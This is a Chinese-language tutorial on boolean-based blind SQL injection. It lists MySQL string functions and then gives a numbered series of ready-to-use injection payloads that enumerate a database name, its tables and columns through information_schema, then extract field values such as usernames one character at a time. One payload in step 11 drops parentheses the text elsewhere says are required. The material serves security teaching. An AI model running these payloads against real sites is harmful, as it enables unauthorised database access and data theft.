SQL盲注--布尔盲注

1.适用情况

输入参数后，正确页面和错误页面有差异。但输入order by 没有回显。即只能根据页面不同判断语句是否正确，但没有回显位置能显示信息。

2.解决原理

用函数(regexp，like，ascii，left，ord，mid，length)猜相关信息，构建有关数据库名的表达式，利用其正确时与错误时返回页面不一样的特征，看页面返回情况判断表达式对错，根据返回的页面来判断正确的数据信息。

3.相关函数

• length(str) 函数，返回字符串的长度
  • str：字符串
  • length(database()) = 3 
  • ascii(str) 函数，返回字符ascii码
• ascii(str) 函数，返回字符ascii码
  • str：单字符

• substr(str,pos,length) / substring() 函数 ， 返回从pos位置开始到length长度的子字符串
  • str: 字符串
  • pos：开始位置
  • length： 截取长度
  • substr()函数截取字符串：substr(database(),1,3) 
    (截取从左到右数的第1个字符到第3个字符)

• left(str,length) 函数，返回从左至右截取固定长度的字符串
  • str：字符串
  • length：截取长度
  • left() 函数确定准确字母：left(database(),1) = a
• count() 返回匹配指定条件的行数 

 

3.基本流程

(1).判断注入类型

(2).获取数据库名的长度

xx and length(database()) = 猜测的数字

(3).逐字猜解数据库名字

逐字猜解要用到substr(str,pos,length)，依次增加pos来实现逐位遍历

先用ascii函数缩小范围

xx and ascii(substr(database(),1,1)) < 97

也可以用left(str,length) 函数猜测部分字符串

xx and left(database(),6) = "hetian"

(4).获取当前数据库中表的个数

需要用到count函数和information_schema库，注意select语句用括号包起来 

xx and (select count(table_name) from information_schema.tables where table_schema=database()) = 4 

(5).求当前数据库中其中一个表名的长度

由于一般情况下table_name有多个，此处需要用limit语句取指定位数上的表

• limit语句 限制查询结果返回的数量

  • 举例：select * from tableName limit i,n

    • tableName : 为数据表；

    • i : 为查询结果的索引值（默认从0开始）；

    • n : 为查询结果返回的数量

猜测第一个表的长度为4：

xx and length((select table_name from information_schema.tables where table_schema=database() limit 0,1)) = 4

猜测第二个表的长度为6： 

 xx and length((select table_name from information_schema.tables where table_schema=database() limit 1,1)) = 6

注意！

• 表达式要再加一对括号，因为limit 0,1中有逗号，数据库会认为输入了两个参数从而报错。
• 为了避免无效查询，先获取多个表的长度，再根据长度选择表

(6).逐字猜解数据表表名

xx and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) > 97

(7).求列名的数量

xx and (select count(column_name) from information_schema.columns where table_schema=database() and table_name="user") = 4

(8).求列名的长度

xx and length((select column_name from information_schema.columns where table_schema=database() and table_name="user" limit 0,1)) = 4

同上，为了避免无效查询，获取多个列名的长度，再根据长度选择

(9).求列名的ASCII码范围

xx and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name="user" limit 0,1),1,1)) < 97

(10).逐字猜解列名

xx and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name="user" limit 0,1),1,1)) = 107

(11).求字段内容的长度

xx and length(select username from user)=4

(12).求字段内容对应的ASCII

xx and ascii(substr((select username from user),1,1))=107